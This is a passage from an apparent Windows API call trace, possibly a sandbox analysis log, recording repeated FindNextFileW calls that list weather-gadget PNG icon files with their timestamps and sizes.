ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20d899, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd20d899, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb81c45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb81c45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbf4062, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbf4062, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc40320, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc40320, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc6647f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc6647f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc8c5de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc8c5de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccd889c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccd889c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccfe9fb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccfe9fb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbddbdd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd96f77, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd96f77, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0090.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcea1910, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcea1910, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceedbce, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbceedbce, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde562dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf5ffeb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf5ffeb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfac2a9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcfac2a9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcff8567, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcff8567, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd01e6c6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd01e6c6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd044825, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd044825, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd06a984, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd06a984, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_foggy.png", cAlternateFileName="")) returned 1 [0090.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd090ae3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd090ae3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd090ae3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd090ae3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0b6c42, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0b6c42, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0b6c42, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0b6c42, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf149bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf149bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc58e56d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc58e56d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e773a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1e773a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf60c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2339f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2339f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf60c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc58e56d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc58e56d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf86ddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5b46cc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc5b46cc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf86ddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc60098a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc60098a, ftLastAccessTime.dwHighDateTime=0x1ca0404, 